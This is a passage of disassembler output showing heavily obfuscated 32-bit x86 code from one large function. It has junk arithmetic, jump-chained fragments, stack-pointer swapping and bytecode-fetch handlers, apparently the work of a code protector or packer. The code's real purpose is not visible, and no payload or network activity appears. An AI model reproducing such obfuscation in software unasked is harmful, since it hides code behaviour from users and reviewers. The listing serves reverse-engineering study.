		add	esi, 707A370Eh
		jz	loc_5A2E20
		jmp	loc_5AD465
; ---------------------------------------------------------------------------


loc_5A17CF:				; CODE XREF: sub_58A891:loc_5AECA9j
		jmp	loc_5A4CA2
; ---------------------------------------------------------------------------


loc_5A17D4:				; CODE XREF: sub_58A891+1F932j
		mov	esi, edx
		jmp	loc_59EA67
; ---------------------------------------------------------------------------


loc_5A17DB:				; CODE XREF: sub_58A891+13D2Aj
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_5AB386
; ---------------------------------------------------------------------------


loc_5A17E3:				; CODE XREF: sub_58A891+281D6j
		sub	eax, ebx
		push	edi
		jmp	loc_5A2798
; ---------------------------------------------------------------------------


loc_5A17EB:				; CODE XREF: sub_58A891+1656Dj
		add	esp, 4
		add	edx, ecx
		push	[esp+2Ch+var_2C]
		jmp	loc_5AEF62
; ---------------------------------------------------------------------------


loc_5A17F8:				; CODE XREF: sub_58A891+1387Fj
		jmp	loc_5A0A92
; ---------------------------------------------------------------------------


loc_5A17FD:				; CODE XREF: sub_58A891+17417j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1802:				; CODE XREF: sub_58A891+13596j
		jns	loc_5A8EE2
		dec	eax
		and	eax, 9077B38h
		xor	eax, 69E36990h
		neg	eax
		dec	eax
		add	eax, 0E75DB789h
		jmp	loc_5AD428
; ---------------------------------------------------------------------------


loc_5A1820:				; CODE XREF: sub_58A891+17E4Ej
		pop	edx
		pop	esi
		jmp	loc_5A8A6A
; ---------------------------------------------------------------------------


loc_5A1827:				; CODE XREF: sub_58A891+22F40j
		xchg	ebx, [esp+0]
		pop	esp
		push	eax
		mov	eax, 1BCA01B0h
		jmp	loc_5A04C6
; ---------------------------------------------------------------------------


loc_5A1836:				; CODE XREF: sub_58A891+268DEj
		pop	ebp
		add	ebp, 4
		push	edx
		push	ebp
		push	35ED6025h
		pop	ebp
		jmp	loc_5A8609
; ---------------------------------------------------------------------------


loc_5A184A:				; CODE XREF: sub_58A891+2308Bj
		mov	ebp, edi
		pop	edi
		and	eax, ebp
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		jmp	loc_5A8924
; ---------------------------------------------------------------------------


loc_5A185A:				; CODE XREF: sub_58A891+2051Cj
		pop	[esp+6+var_8+2]
		mov	esp, [esp+2+var_4+2]
		mov	[esp+2+var_4+2], edi
		sub	esp, 4
		jmp	loc_5AB5C0
; ---------------------------------------------------------------------------


loc_5A186E:				; CODE XREF: sub_58A891+26103j
		xor	[esp+6+var_4+2], eax
		push	[esp+6+var_8+2]
		pop	eax
		add	esp, 4
		pop	ecx
		push	17A7h
		mov	[esp+2+var_4+2], edx
		jmp	loc_5AAC1B
; ---------------------------------------------------------------------------


loc_5A1887:				; CODE XREF: sub_58A891+1543Fj
		mov	eax, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], edx
		jmp	loc_5ABA35
; ---------------------------------------------------------------------------


loc_5A18A1:				; CODE XREF: sub_58A891+24487j
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_59EBF9
; ---------------------------------------------------------------------------


loc_5A18AF:				; CODE XREF: sub_58A891+21947j
		pop	esp
		jmp	loc_5A371A
; ---------------------------------------------------------------------------


loc_5A18B5:				; CODE XREF: sub_58A891+21DB9j
		push	ecx
		jmp	loc_5A34E8
; ---------------------------------------------------------------------------


loc_5A18BB:				; CODE XREF: sub_58A891+24BDBj
		push	esp
		jmp	loc_5A686C
; ---------------------------------------------------------------------------


loc_5A18C1:				; CODE XREF: sub_58A891+1BF49j
		inc	edi
		sub	edi, 8427830Bh
		jmp	loc_5B27BE
; ---------------------------------------------------------------------------


loc_5A18CD:				; CODE XREF: sub_58A891+23D52j
		add	[esp+6+var_8+2], 73F0079Bh
		pop	ebx
		sub	ebx, 73F0079Bh
		mov	edi, [esp+2+var_4+2]
		jmp	loc_5A4F39
; ---------------------------------------------------------------------------


loc_5A18E3:				; CODE XREF: sub_58A891+1766Dj
					; sub_58A891+26626j
		mov	[esp+2+var_4+2], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5AF271
; ---------------------------------------------------------------------------


loc_5A18EE:				; CODE XREF: sub_58A891+11D3Bj
		add	ecx, edi
		push	ebx
		mov	ebx, 679902B0h
		add	ebx, 0BFF728F7h
		sub	ecx, 5FF0269Ah
		sub	ecx, ebx
		add	ecx, 5FF0269Ah
		mov	ebx, [esp+32h+var_34+2]
		push	esi
		mov	esi, esp
		jmp	loc_5AF3C0
; ---------------------------------------------------------------------------


loc_5A1915:				; CODE XREF: sub_58A891+26D01j
		xor	ebx, ebp
		pop	ebp
		mov	edi, ebx
		pop	ebx
		xor	eax, edi
		jmp	loc_5A34EF
; ---------------------------------------------------------------------------


loc_5A1922:				; CODE XREF: sub_58A891+228E3j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 50C96ABCh
		mov	edi, ebx
		pop	ebx
		jmp	loc_5A6FD5
; ---------------------------------------------------------------------------


loc_5A1941:				; CODE XREF: sub_58A891+17B93j
		jmp	loc_5AF940
; ---------------------------------------------------------------------------


loc_5A1946:				; CODE XREF: sub_58A891+2334Aj
		and	esi, 464868ABh
		or	esi, 7B965E8Dh
		shl	esi, 1
		push	esi
		not	[esp+2Ah+var_2C+2]
		pop	esi
		and	esi, 40B1307h
		jmp	loc_5AD38B
; ---------------------------------------------------------------------------


loc_5A1964:				; CODE XREF: sub_58A891+15BCBj
		sub	esi, 0C440C75h
		jmp	loc_5AC47C
; ---------------------------------------------------------------------------


loc_5A196F:				; CODE XREF: sub_58A891+1F543j
		pop	ebx
		or	edx, edi
		pop	edi
		not	edx
		sub	edx, 7C83B970h
		mov	ebp, 0FC6AF471h
		add	ebp, 6E27520Eh
		jmp	loc_5AF8E9
; ---------------------------------------------------------------------------


loc_5A198B:				; CODE XREF: sub_58A891+28316j
		add	bl, 27h
		push	edx
		sub	esp, 4
		mov	[esp+0BAh+var_BA], ecx
		mov	ch, 50h
		mov	dh, ch
		pop	ecx
		or	dh, 0DEh
		sub	esp, 4
		mov	[esp+0BAh+var_BA], ebx
		mov	bl, 0AAh
		push	cx
		mov	cl, 1
		add	bl, cl
		jmp	loc_59CDD6
; ---------------------------------------------------------------------------


loc_5A19B3:				; CODE XREF: sub_58A891+1ED48j
		add	[esp+0BCh+var_BA+2], edi
		jmp	loc_5AA5F3
; ---------------------------------------------------------------------------


loc_5A19BC:				; CODE XREF: sub_58A891+2489Fj
		pop	ecx
		mov	ebx, 2650428Fh
		shr	ebx, 1
		xor	ebx, eax
		jmp	loc_5AEE05
; ---------------------------------------------------------------------------


loc_5A19CB:				; CODE XREF: sub_58A891+133E7j
		add	esi, edx
		jmp	loc_5AA9BF
; ---------------------------------------------------------------------------


loc_5A19D2:				; CODE XREF: sub_58A891+2318Fj
		add	esp, 4
		neg	ebp
		sub	ebp, 2340148h
		jmp	loc_5AD85E
; ---------------------------------------------------------------------------


loc_5A19E2:				; CODE XREF: sub_58A891+14AC5j
		and	ecx, edi
		jmp	loc_5AB886
; ---------------------------------------------------------------------------


loc_5A19E9:				; CODE XREF: sub_58A891+22FECj
					; sub_58A891+25D7Bj
		add	esp, 4
		sub	al, 0E7h
		add	al, bl
		jmp	loc_5AA40E
; ---------------------------------------------------------------------------


loc_5A19F5:				; CODE XREF: sub_58A891+1CC07j
		sub	esp, 4
		mov	[esp+0DEh+var_E0+2], esi
		mov	esi, 4
		sub	edx, 0BED1402h
		sub	edx, esi
		jmp	loc_5A598A
; ---------------------------------------------------------------------------


loc_5A1A10:				; CODE XREF: sub_58A891+1D415j
		add	bl, 0Ah
		jmp	loc_5B10AD
; ---------------------------------------------------------------------------


loc_5A1A18:				; CODE XREF: sub_58A891+264CDj
		jnp	loc_59F19B
		xor	eax, 0A27457A9h
		mov	ebp, eax
		pop	eax
		mov	ch, bh


loc_5A1A28:				; CODE XREF: sub_58A891+1587Ej
		push	edi
		mov	edi, 4
		add	eax, 39957C4Dh
		jmp	loc_5A4871
; ---------------------------------------------------------------------------


loc_5A1A38:				; CODE XREF: sub_58A891+17BFFj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0DEh+var_E0+2]
		pop	esp
		push	68A4h
		mov	[esp+0DEh+var_E0+2], edx
		not	[esp+0DEh+var_E0+2]
		pop	edx
		push	ebp
		jmp	loc_5A9D5A
; ---------------------------------------------------------------------------


loc_5A1A59:				; CODE XREF: sub_58A891+17438j
		sub	esi, edi
		pop	edi
		jmp	loc_5A2BA7
; ---------------------------------------------------------------------------


loc_5A1A61:				; CODE XREF: sub_58A891+25060j
		mov	edx, [esp+0DAh+var_DC+2]
		add	esp, 4
		jmp	loc_5A35DB
; ---------------------------------------------------------------------------


loc_5A1A6F:				; CODE XREF: sub_58A891+24BCCj
		mov	dx, 4831h
		inc	dx
		neg	dx
		push	ebx
		mov	bx, 13A1h
		sub	bx, 8BCEh
		add	dx, bx
		pop	ebx
		add	bp, dx
		pop	edx
		sub	bp, di
		sub	bp, 3FA1h
		jmp	loc_5A31CA
; ---------------------------------------------------------------------------


loc_5A1A97:				; CODE XREF: sub_58A891+23387j
		add	ecx, 60E032F4h
		not	ecx
		jmp	loc_5AAD5E
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 0F2D4CFDh
		sub	eax, 6C4D452Eh
		add	eax, 10FB5693h
		jmp	loc_59DB0C
; ---------------------------------------------------------------------------


loc_5A1ABA:				; CODE XREF: sub_58A891+12EABj
		sub	edi, 25CD6F4Eh
		add	edi, edx
		jmp	loc_5A526F
; ---------------------------------------------------------------------------


loc_5A1AC7:				; CODE XREF: sub_58A891+17580j
		add	esp, 4
		pop	ecx
		add	al, 23h
		sub	al, bl
		sub	al, 23h
		sub	al, 2Bh
		sub	al, 0Eh
		jmp	loc_5A4B56
; ---------------------------------------------------------------------------


loc_5A1ADD:				; CODE XREF: sub_58A891+1239Bj
		xor	edi, 27950405h
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_5A0530
; ---------------------------------------------------------------------------


loc_5A1AED:				; CODE XREF: sub_58A891+1A562j
		mov	eax, 32990DE3h
		xor	eax, edi
		mov	edi, [esp+72h+var_74+2]
		jmp	loc_5A0B0C
; ---------------------------------------------------------------------------


loc_5A1AFC:				; CODE XREF: sub_58A891+2152Ej
		add	ebx, 11124D5Fh
		add	ebx, edx
		jmp	loc_59D52A
; ---------------------------------------------------------------------------


loc_5A1B09:				; CODE XREF: sub_58A891+20863j
		jl	loc_5AE9B8
		or	ebx, 7DBB0E72h
		jmp	loc_5AD024
; ---------------------------------------------------------------------------


loc_5A1B1A:				; CODE XREF: sub_58A891+2253Fj
		push	29ECh
		sub	esp, 4
		mov	[esp+7Ah+var_7A], esp
		add	[esp+7Ah+var_7A], 4
		jmp	loc_59E91C
; ---------------------------------------------------------------------------


loc_5A1B34:				; CODE XREF: sub_58A891+233D4j
		add	esp, 4
		add	esi, 4
		jmp	loc_5AC7C1
; ---------------------------------------------------------------------------


loc_5A1B45:				; CODE XREF: sub_58A891+150ACj
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_5A1B53:				; CODE XREF: sub_58A891+1CBE8j
		add	ebx, 1C1016BAh
		sub	esp, 4
		jmp	loc_59EF42
; ---------------------------------------------------------------------------


loc_5A1B61:				; CODE XREF: sub_58A891+19779j
		mov	[esp+2+var_4+2], ebx
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		push	ebx
		jmp	loc_5A7BA9
; ---------------------------------------------------------------------------


loc_5A1B70:				; CODE XREF: sub_58A891+13C2Fj
		sub	ecx, 61AC650Eh
		add	ecx, esi
		add	ecx, 61AC650Eh
		jmp	loc_5B01B8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ah+var_C+2]
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edi
		push	esp
		jmp	loc_5B20CD
; ---------------------------------------------------------------------------


loc_5A1B93:				; CODE XREF: sub_58A891+197D3j
		add	esp, 4
		add	esi, ebp
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		push	763h
		jmp	loc_5A743F
; ---------------------------------------------------------------------------


loc_5A1BAB:				; CODE XREF: sub_58A891+21EEEj
		xchg	ecx, ebx
		not	ebx
		push	ecx
		mov	ecx, 28002061h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5AFB90
; ---------------------------------------------------------------------------


loc_5A1BBD:				; CODE XREF: sub_58A891+277A6j
		sub	esi, 32173B3h
		jb	loc_5A7ED1
		push	edi
		push	ebp
		jmp	loc_5A7224
; ---------------------------------------------------------------------------


loc_5A1BD0:				; CODE XREF: sub_58A891+1CDECj
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], eax
		jmp	loc_59DE10
; ---------------------------------------------------------------------------


loc_5A1BDC:				; CODE XREF: sub_58A891+24413j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	ecx
		push	edi
		mov	edi, 49D4204Fh
		dec	edi
		shr	edi, 1
		jz	loc_5A80A3
		neg	edi
		jmp	loc_5AECA9
; ---------------------------------------------------------------------------


loc_5A1C05:				; CODE XREF: sub_58A891+25113j
		sub	edx, ebp
		sub	edx, 20401777h
		jmp	loc_5A56A4
; ---------------------------------------------------------------------------


loc_5A1C12:				; CODE XREF: sub_58A891+22E27j
		mov	edx, 7C4734BAh
		jmp	loc_5A9EC3
; ---------------------------------------------------------------------------


loc_5A1C1C:				; CODE XREF: sub_58A891+1D395j
		push	ebx
		jmp	loc_5A6889
; ---------------------------------------------------------------------------


loc_5A1C22:				; CODE XREF: sub_58A891+1BD14j
		add	ebp, 2
		xchg	ebp, [esp+22h+var_24+2]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	4E37h
		mov	[esp+22h+var_24+2], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 665B0F50h
		sub	ecx, 69081ABDh
		shl	ecx, 3
		sub	ecx, 0EA97A494h
		add	edi, ecx
		pop	ecx
		push	49B3h
		mov	[esp+26h+var_28+2], esi
		push	eax
		push	ebx
		mov	ebx, 74591C34h
		jmp	loc_5A3127
; ---------------------------------------------------------------------------


loc_5A1C65:				; CODE XREF: sub_58A891+220C2j
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, 0FDB1963h
		push	ebp
		pop	ebx
		pop	ebp
		push	esi
		push	ecx
		jmp	loc_5A9B55
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	7761h
		mov	[esp+36h+var_38+2], ebx
		push	esp
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	ebp
		mov	ebp, 770D793Dh
		neg	ebp
		sub	ebp, 88F286BFh
		jmp	loc_5AC444
; ---------------------------------------------------------------------------


loc_5A1C9F:				; CODE XREF: sub_58A891+1E4DAj
		mov	esp, [esp+3Ah+var_3C+2]
		btc	word ptr [esp+3Ah+var_3C+2], ax
		pushf
		jmp	loc_5A17FD
; ---------------------------------------------------------------------------


loc_5A1CAD:				; CODE XREF: sub_58A891+198B2j
		dec	bl
		inc	bl
		push	small 446Bh
		jmp	loc_5AE473
; ---------------------------------------------------------------------------


loc_5A1CBA:				; CODE XREF: sub_58A891+1A3A1j
		jge	loc_5ADDA4
		shr	esi, 7
		push	edi
		mov	edi, 0A317ADB6h
		jmp	loc_5A1A59
; ---------------------------------------------------------------------------


loc_5A1CCE:				; CODE XREF: sub_58A891+1B458j
		shr	ecx, 7
		jnp	loc_5A9CFC
		inc	ecx
		jp	loc_5A80F2
		or	ecx, 2FB446F4h


loc_5A1CE4:				; CODE XREF: sub_58A891+1DD17j
					; sub_58A891+286B3j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+48h+var_4A+2]
		pop	esp
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AEEB6
; ---------------------------------------------------------------------------


loc_5A1D06:				; CODE XREF: sub_58A891+214B6j
		mov	esi, edx
		pop	edx
		jmp	loc_5A61A3
; ---------------------------------------------------------------------------


loc_5A1D0E:				; CODE XREF: sub_58A891+1CBDDj
		add	esp, 4
		sub	edi, 2BA2467Fh
		jmp	loc_5AB587
; ---------------------------------------------------------------------------


loc_5A1D1F:				; CODE XREF: sub_58A891+13663j
		pop	edi
		xchg	ebx, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		push	[esp-0Ah+arg_0+2]
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1D3B:				; CODE XREF: sub_58A891+15776j
		push	1C28h
		mov	[esp+3Eh+var_40+2], esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_5A009F
; ---------------------------------------------------------------------------


loc_5A1D4F:				; CODE XREF: sub_58A891+14B1Fj
		push	esi
		mov	esi, 27285E71h
		add	edx, esi
		pop	esi
		jmp	loc_5AA043
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A0987
; ---------------------------------------------------------------------------


loc_5A1D66:				; CODE XREF: sub_58A891+18BA3j
		pop	edx
		jmp	loc_5A1382
; ---------------------------------------------------------------------------


loc_5A1D6C:				; CODE XREF: sub_58A891:loc_5A92B1j
		shl	esi, 2
		sub	esi, 32BE38ECh
		jmp	loc_59DD34
; ---------------------------------------------------------------------------


loc_5A1D7A:				; CODE XREF: sub_58A891+16AF4j
		mov	[esp-12h+arg_8+2], ebx
		mov	ebx, 484466A6h
		jmp	loc_5AFA5D
; ---------------------------------------------------------------------------


loc_5A1D87:				; CODE XREF: sub_58A891+11938j
		add	ebx, ecx
		jmp	loc_5A30EE
; ---------------------------------------------------------------------------


loc_5A1D8E:				; CODE XREF: sub_58A891+15B9Bj
		shr	ecx, 4
		sub	ecx, 643715D7h
		jo	loc_5A6417
		xor	ecx, 76CD8EF7h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5A1DAB:				; CODE XREF: sub_58A891+20363j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0B2h+var_B2]
		jmp	loc_5B233D
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1DC5:				; CODE XREF: sub_58A891+1CA21j
		pop	ecx
		pop	[esp+0AAh+var_AA]
		pop	esp
		mov	[esp+0A2h+var_A2], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_5B12D3
; ---------------------------------------------------------------------------


loc_5A1DDA:				; CODE XREF: sub_58A891+23FB4j
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ecx
		mov	cl, 0CAh
		shl	cl, 5
		push	ebx
		mov	bh, 0Bh
		dec	bh
		xor	bh, 86h
		not	bh
		xor	bh, 45h
		xor	cl, bh
		pop	ebx
		xor	cl, 5Dh
		sub	al, 0B1h
		sub	al, 0D7h
		add	al, cl
		add	al, 0D7h
		push	edx
		mov	dl, 92h
		or	dl, 42h
		shl	dl, 2
		add	dl, 69h
		add	al, dl
		mov	edx, [esp+0AEh+var_AE]
		jmp	loc_5A1AC7
; ---------------------------------------------------------------------------


loc_5A1E16:				; CODE XREF: sub_58A891+21927j
		add	ebx, 26685898h
		push	eax
		push	ebp
		mov	ebp, 6BD6339Fh
		mov	eax, 0F3F448Ah
		xor	eax, ebp
		mov	ebp, [esp+0B6h+var_B6]
		sub	esp, 4
		mov	[esp+0BAh+var_BA], esi
		mov	esi, esp
		jmp	loc_5A873F
; ---------------------------------------------------------------------------


loc_5A1E3D:				; CODE XREF: sub_58A891+15DF9j
		add	ebp, 16E16BB9h
		add	ebp, edx
		sub	ebp, 16E16BB9h
		push	edi
		mov	edi, 587A7441h
		jmp	loc_5B17A2
; ---------------------------------------------------------------------------


loc_5A1E56:				; CODE XREF: sub_58A891+16BE9j
		push	1EC8h
		jmp	loc_5B23FF
; ---------------------------------------------------------------------------


loc_5A1E60:				; CODE XREF: sub_58A891+14427j
		sub	esp, 4
		mov	[esp+7Ah+var_7A], ebp
		mov	ebp, 4
		jmp	loc_5ABC29
; ---------------------------------------------------------------------------


loc_5A1E73:				; CODE XREF: sub_58A891+26523j
		mov	[esp+7Ah+var_7A], ecx
		push	ecx
		jmp	loc_5A5162
; ---------------------------------------------------------------------------


loc_5A1E7C:				; CODE XREF: sub_58A891+1B4E0j
		and	edx, 4C015CF0h
		and	edx, 14F11CB5h
		push	ecx
		jmp	loc_5B2EDF
; ---------------------------------------------------------------------------


loc_5A1E8E:				; CODE XREF: sub_58A891+21366j
		mov	bl, 0CEh
		mov	dl, bl
		pop	bx
		xchg	ah, dl
		dec	ah
		xchg	ah, dl
		add	dl, 0Ah
		xchg	cl, dl
		not	cl
		xchg	cl, dl
		jmp	loc_5B0C29
; ---------------------------------------------------------------------------


loc_5A1EA8:				; CODE XREF: sub_58A891+1D9BAj
		mov	ecx, 2D7B147Ch
		sub	ecx, 0B0A8A998h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5AF414
; ---------------------------------------------------------------------------


loc_5A1EBB:				; CODE XREF: sub_58A891+23E66j
		add	ecx, edi
		pop	edi
		jmp	loc_5A6558
; ---------------------------------------------------------------------------


loc_5A1EC3:				; CODE XREF: sub_58A891+132A3j
		xor	al, ch
		pop	ecx
		add	al, 50h
		jmp	loc_5AC363
; ---------------------------------------------------------------------------


loc_5A1ECD:				; CODE XREF: sub_58A891+27051j
		idiv	cx
		push	320h
		mov	[esp-12h+arg_8+2], edi
		push	esp
		push	[esp-0Eh+arg_4+2]
		mov	edi, [esp-0Ah+arg_0+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 7CDB4DA7h
		jmp	loc_59C06F
; ---------------------------------------------------------------------------


loc_5A1EF3:				; CODE XREF: sub_58A891+15C4Dj
		pop	edi
		dec	edi
		jo	loc_5B0C1B
		shr	edi, 5
		jnp	loc_5A18E3
		jmp	loc_5AD550
; ---------------------------------------------------------------------------


loc_5A1F09:				; CODE XREF: sub_58A891+2345Cj
		sub	eax, 0AF66042h
		mov	ebx, [esp+0B6h+var_B6]
		add	esp, 4
		push	6960h
		jmp	loc_5A400F
; ---------------------------------------------------------------------------


loc_5A1F21:				; CODE XREF: sub_58A891+2669Dj
		sub	esi, edx
		jmp	loc_5A64B7
; ---------------------------------------------------------------------------


loc_5A1F28:				; CODE XREF: sub_58A891+1361Fj
					; sub_58A891+26406j
		pop	edx
		add	eax, ebx
		mov	ebx, [esp+0]
		jmp	loc_5A1400
; ---------------------------------------------------------------------------


loc_5A1F33:				; CODE XREF: sub_58A891+1F893j
		sub	edi, 0DB17D52h
		mov	esi, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5B1C
; ---------------------------------------------------------------------------


loc_5A1F44:				; CODE XREF: sub_58A891+12D80j
					; sub_58A891+22AF5j
		push	ebp
		mov	ebp, 44E7459Bh
		jmp	loc_5ACDE9
; ---------------------------------------------------------------------------


loc_5A1F4F:				; CODE XREF: sub_58A891+1AF4Cj
		pop	eax
		push	3198h
		jmp	loc_5AE1CB
; ---------------------------------------------------------------------------


loc_5A1F5A:				; CODE XREF: sub_58A891+141DFj
		inc	esi
		shl	esi, 8
		neg	esi
		shl	esi, 4
		add	esi, 1E006F8Ah
		sub	esi, 3A17418Eh
		jmp	loc_5A5999
; ---------------------------------------------------------------------------


loc_5A1F74:				; CODE XREF: sub_58A891+168F8j
		push	4B80h
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, 586855B7h
		jmp	loc_59C1C3
; ---------------------------------------------------------------------------


loc_5A1F86:				; CODE XREF: sub_58A891+20EFAj
		xor	edx, 2B982C2Ch
		push	ebx
		mov	ebx, 42E54339h
		shl	ebx, 7
		sub	ebx, 0CEC4E657h
		add	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		mov	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 29A74D0Eh
		xor	ebx, 517A3F17h
		sub	eax, ebx
		jmp	loc_59D4FD
; ---------------------------------------------------------------------------


loc_5A1FB7:				; CODE XREF: sub_58A891+13A52j
		add	ebx, 37A8EC20h
		sub	edi, ebx
		pop	ebx
		add	edi, 246747FBh
		push	esi
		mov	esi, 85D262EDh
		sub	edi, esi
		pop	esi
		add	ecx, edi
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_24+2]
		pop	esp
		add	esp, 4
		add	ecx, 2
		push	ecx
		push	[esp+1Eh+var_1C+2]
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		pop	[esp+1Eh+var_20+2]
		pop	esp
		mov	ax, word ptr [esp+16h+var_18+2]
		push	48A6h
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 2
		jmp	loc_5A2DF0
; ---------------------------------------------------------------------------


loc_5A2025:				; CODE XREF: sub_58A891+1353Cj
		push	ebx
		push	eax
		push	ebx
		mov	bl, 7Eh
		mov	al, bl
		pop	ebx
		not	al
		jmp	loc_5ABD74
; ---------------------------------------------------------------------------


loc_5A2034:				; CODE XREF: sub_58A891+16536j
		dec	eax
		inc	eax
		jns	loc_5A6BDF
		not	eax
		sub	eax, 74591C31h
		mov	esi, eax
		mov	eax, [esp+2Eh+var_30+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_5A8EA9
; ---------------------------------------------------------------------------


loc_5A205C:				; CODE XREF: sub_58A891+1695Aj
		pop	ebx
		push	ebp
		xor	[esp+40h+var_40], 5DB8666Dh
		pop	edi
		xor	edi, 5DB8666Dh
		mov	ebp, [esp+3Ch+var_3C]
		jmp	loc_5AF032
; ---------------------------------------------------------------------------


loc_5A2074:				; CODE XREF: sub_58A891+12F1Fj
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp+88h+var_8A+2]
		xor	[esp+88h+var_8A+2], edx
		xor	edx, [esp+88h+var_8A+2]
		pop	esp
		push	edi
		push	461Dh
		jmp	loc_5A3D30
; ---------------------------------------------------------------------------


loc_5A2098:				; CODE XREF: sub_58A891+1E959j
		mov	edx, 0C41043A7h
		sub	edx, esi
		pop	esi
		jmp	loc_5A6BA7
; ---------------------------------------------------------------------------


loc_5A20A5:				; CODE XREF: sub_58A891+21C09j
		push	esp
		push	[esp+8Ch+var_8E+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		push	5EE5h
		mov	[esp+8Ch+var_8E+2], ecx
		jmp	loc_5A4E0F
; ---------------------------------------------------------------------------


loc_5A20C3:				; CODE XREF: sub_58A891+16BBBj
		add	esi, edi
		pop	edi
		add	esi, 4
		xor	esi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], esi
		xor	esi, [esp+6+var_8+2]
		pop	esp
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		jmp	loc_5A0448
; ---------------------------------------------------------------------------


loc_5A20E1:				; CODE XREF: sub_58A891+1A4B0j
		dec	esi
		add	esi, 7B2B0256h
		jmp	loc_5ADAE1
; ---------------------------------------------------------------------------


loc_5A20ED:				; CODE XREF: sub_58A891+26580j
		push	eax
		push	edx
		jmp	loc_59FD65
; ---------------------------------------------------------------------------


loc_5A20F4:				; CODE XREF: sub_58A891+283BEj
		add	ecx, 3845057Eh
		jo	loc_5A0936
		xor	ecx, 0EA065628h
		mov	ebp, ecx
		jmp	loc_59E641
; ---------------------------------------------------------------------------
		push	ebp


loc_5A210E:				; CODE XREF: sub_58A891+22F7Bj
					; sub_58A891:loc_5B1453j
		pop	edi
		jmp	loc_5AFD60
; ---------------------------------------------------------------------------


loc_5A2114:				; CODE XREF: sub_58A891+277EBj
		pop	esi
		push	ebx
		jmp	loc_5AB827
; ---------------------------------------------------------------------------


loc_5A211B:				; CODE XREF: sub_58A891+1814Fj
		xor	edi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		inc	[esp+0Eh+var_10+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A212A:				; CODE XREF: sub_58A891+24C69j
		or	ch, 0E9h
		xor	ch, 0Fh
		jmp	loc_5A58D8
; ---------------------------------------------------------------------------


loc_5A2135:				; CODE XREF: sub_58A891+12B0Cj
		xor	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		xor	[esp+2+var_4+2], 73E3716Eh
		pop	esi
		xor	esi, 73E3716Eh
		mov	edx, [esp+0]
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		jmp	loc_5A870D
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 93h
		sub	esp, 4
		jmp	loc_5AFC15
; ---------------------------------------------------------------------------


loc_5A2171:				; CODE XREF: sub_58A891+1C825j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
